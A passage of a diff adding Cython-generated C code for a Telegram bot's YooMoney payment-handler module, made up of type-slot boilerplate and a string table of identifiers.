PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount)))) { + __pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount[__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount++] = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_spec = { + "handlers.payments.yoomoney_pay.__pyx_scope_struct_3_process_enter_custom_amount", + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yoomoney_pay.""__pyx_scope_struct_3_process_enter_custom_amount", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input[8]; +static int __pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input[--__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_account_id); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_confirm_keyboard); + Py_CLEAR(p->__pyx_v_customer_id); + Py_CLEAR(p->__pyx_v_message); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input)))) { + __pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input[__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input++] = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input *)o; + if (p->__pyx_v_account_id) { + e = (*v)(p->__pyx_v_account_id, a); if (e) return e; + } + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_confirm_keyboard) { + e = (*v)(p->__pyx_v_confirm_keyboard, a); if (e) return e; + } + if (p->__pyx_v_customer_id) { + e = (*v)(p->__pyx_v_customer_id, a); if (e) return e; + } + if (p->__pyx_v_message) { + e = (*v)(p->__pyx_v_message, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_spec = { + "handlers.payments.yoomoney_pay.__pyx_scope_struct_4_process_custom_amount_input", + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yoomoney_pay.""__pyx_scope_struct_4_process_custom_amount_input", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_kp_u_Account_ID, __pyx_k_Account_ID, sizeof(__pyx_k_Account_ID), 0, 1, 0, 0}, + {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, + {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, + {&__pyx_n_u_HASHHASHYOOKASSA, __pyx_k_HASHHASHYOOKASSA, sizeof(__pyx_k_HASHHASHYOOKASSA), 0, 1, 0, 1}, + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardMarkup, __pyx_k_InlineKeyboardMarkup, sizeof(__pyx_k_InlineKeyboardMarkup), 0, 0, 1, 1}, + {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, + {&__pyx_kp_u_Payment_succeeded_for_user_id, __pyx_k_Payment_succeeded_for_user_id, sizeof(__pyx_k_Payment_succeeded_for_user_id), 0, 1, 0, 0}, + {&__pyx_n_s_ReplenishBalanceState, __pyx_k_ReplenishBalanceState, sizeof(__pyx_k_ReplenishBalanceState), 0, 0, 1, 1}, + {&__pyx_n_s_Response, __pyx_k_Response, sizeof(__pyx_k_Response), 0, 0, 1, 1}, + {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_n_s_State, __pyx_k_State, sizeof(__pyx_k_State), 0, 0, 1, 1}, + {&__pyx_n_s_StatesGroup, __pyx_k_StatesGroup, sizeof(__pyx_k_StatesGroup), 0, 0, 1, 1}, + {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, + {&__pyx_kp_u_Webhook_event_received, __pyx_k_Webhook_event_received, sizeof(__pyx_k_Webhook_event_received), 0, 1, 0, 0}, + {&__pyx_n_s_YOOKASSA_HASH, __pyx_k_YOOKASSA_HASH, sizeof(__pyx_k_YOOKASSA_HASH), 0, 0, 1, 1}, + {&__pyx_kp_u_YOOKASSA_HASH_2, __pyx_k_YOOKASSA_HASH_2, sizeof(__pyx_k_YOOKASSA_HASH_2), 0, 1, 0, 0}, + {&__pyx_n_s_YOOMONEY_ENABLE, __pyx_k_YOOMONEY_ENABLE, sizeof(__pyx_k_YOOMONEY_ENABLE), 0, 0, 1, 1}, + {&__pyx_n_s_YOOMONEY_ID, __pyx_k_YOOMONEY_ID, sizeof(__pyx_k_YOOMONEY_ID), 0, 0, 1, 1}, + {&__pyx_n_s_YOOMONEY_SECRET_KEY, __pyx_k_YOOMONEY_SECRET_KEY, sizeof(__pyx_k_YOOMONEY_SECRET_KEY), 0, 0, 1, 1}, + {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_kp_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 0}, + {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, + {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, + {&__pyx_kp_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 0}, + {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, + {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, + {&__pyx_n_s__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 0, 1, 1}, + {&__pyx_kp_u__22, __pyx_k__22, sizeof(__pyx_k__22), 0, 1, 0, 0}, + {&__pyx_n_s__29, __pyx_k__29, sizeof(__pyx_k__29), 0, 0, 1, 1}, + {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_n_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 1}, + {&__pyx_kp_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 0}, + {&__pyx_n_s_account_id, __pyx_k_account_id, sizeof(__pyx_k_account_id), 0, 0, 1, 1}, + {&__pyx_n_s_add_connection, __pyx_k_add_connection, sizeof(__pyx_k_add_connection), 0, 0, 1, 1}, + {&__pyx_n_s_add_payment, __pyx_k_add_payment, sizeof(__pyx_k_add_payment), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_context, __pyx_k_aiogram_fsm_context, sizeof(__pyx_k_aiogram_fsm_context), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_state, __pyx_k_aiogram_fsm_state, sizeof(__pyx_k_aiogram_fsm_state), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_aiohttp, __pyx_k_aiohttp, sizeof(__pyx_k_aiohttp), 0, 0, 1, 1}, + {&__pyx_n_s_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 0, 1, 1}, + {&__pyx_n_u_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 1, 0, 1}, + {&__pyx_kp_u_amount_2, __pyx_k_amount_2, sizeof(__pyx_k_amount_2), 0, 1, 0, 0}, + {&__pyx_n_s_amount_str, __pyx_k_amount_str, sizeof(__pyx_k_amount_str), 0, 0, 1, 1}, + {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_n_s_balance, __pyx_k_balance, sizeof(__pyx_k_balance), 0, 0, 1, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_calculated_hash, __pyx_k_calculated_hash, sizeof(__pyx_k_calculated_hash), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_u_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 1, 0, 1}, + {&__pyx_n_s_callback_query, __pyx_k_callback_query, sizeof(__pyx_k_callback_query), 0, 0, 1, 1}, + {&__pyx_n_s_chat, __pyx_k_chat, sizeof(__pyx_k_chat), 0, 0, 1, 1}, + {&__pyx_n_s_check_connection_exists, __pyx_k_check_connection_exists, sizeof(__pyx_k_check_connection_exists), 0, 0, 1, 1}, + {&__pyx_n_s_choosing_amount_yoomoney, __pyx_k_choosing_amount_yoomoney, sizeof(__pyx_k_choosing_amount_yoomoney), 0, 0, 1, 1}, + {&__pyx_n_s_class_getitem, __pyx_k_class_getitem, sizeof(__pyx_k_class_getitem), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_n_u_codepro, __pyx_k_codepro, sizeof(__pyx_k_codepro), 0, 1, 0, 1}, + {&__pyx_n_s_config, __pyx_k_config, sizeof(__pyx_k_config), 0, 0, 1, 1}, + {&__pyx_n_s_confirm_keyboard, __pyx_k_confirm_keyboard, sizeof(__pyx_k_confirm_keyboard), 0, 0, 1, 1}, + {&__pyx_n_u_currency, __pyx_k_currency, sizeof(__pyx_k_currency), 0, 1, 0, 1}, + {&__pyx_n_s_customer_id, __pyx_k_customer_id, sizeof(__pyx_k_customer_id), 0, 0, 1, 1}, + {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, + {&__pyx_n_s_database, __pyx_k_database, sizeof(__pyx_k_database), 0, 0, 1, 1}, + {&__pyx_n_u_datetime, __pyx_k_datetime, sizeof(__pyx_k_datetime), 0, 1, 0, 1}, + {&__pyx_n_s_debug, __pyx_k_debug, sizeof(__pyx_k_debug), 0, 0, 1, 1}, + {&__pyx_n_s_dict, __pyx_k_dict, sizeof(__pyx_k_dict), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_u_enter_custom_amount_yoomoney, __pyx_k_enter_custom_amount_yoomoney, sizeof(__pyx_k_enter_custom_amount_yoomoney), 0, 1, 0, 1}, + {&__pyx_n_s_entering_custom_amount_yoomoney, __pyx_k_entering_custom_amount_yoomoney, sizeof(__pyx_k_entering_custom_amount_yoomoney), 0, 0, 1, 1}, + {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_s_exists, __pyx_k_exists, sizeof(__pyx_k_exists), 0, 0, 1, 1}, + {&__pyx_n_s_expected_hash, __pyx_k_expected_hash, sizeof(__pyx_k_expected_hash), 0, 0, 1, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, + {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_yoomoney_pay, __pyx_k_handlers_payments_yoomoney_pay, sizeof(__pyx_k_handlers_payments_yoomoney_pay), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_k_handlers_payments_yoomoney_pay_p, sizeof(__pyx_k_handlers_payments_yoomoney_pay_p), 0, 0, 1, 0}, + {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, + {&__pyx_n_s_hashlib, __pyx_k_hashlib, sizeof(__pyx_k_hashlib), 0, 0, 1, 1}, + {&__pyx_n_s_hexdigest, __pyx_k_hexdigest, sizeof(__pyx_k_hexdigest), 0, 0, 1, 1}, + {&__pyx_kp_u_https_yoomoney_ru_quickpay_confi, __pyx_k_https_yoomoney_ru_quickpay_confi, sizeof(__pyx_k_https_yoomoney_ru_quickpay_confi), 0, 1, 0, 0}, + {&__pyx_n_s_i, __pyx_k_i, 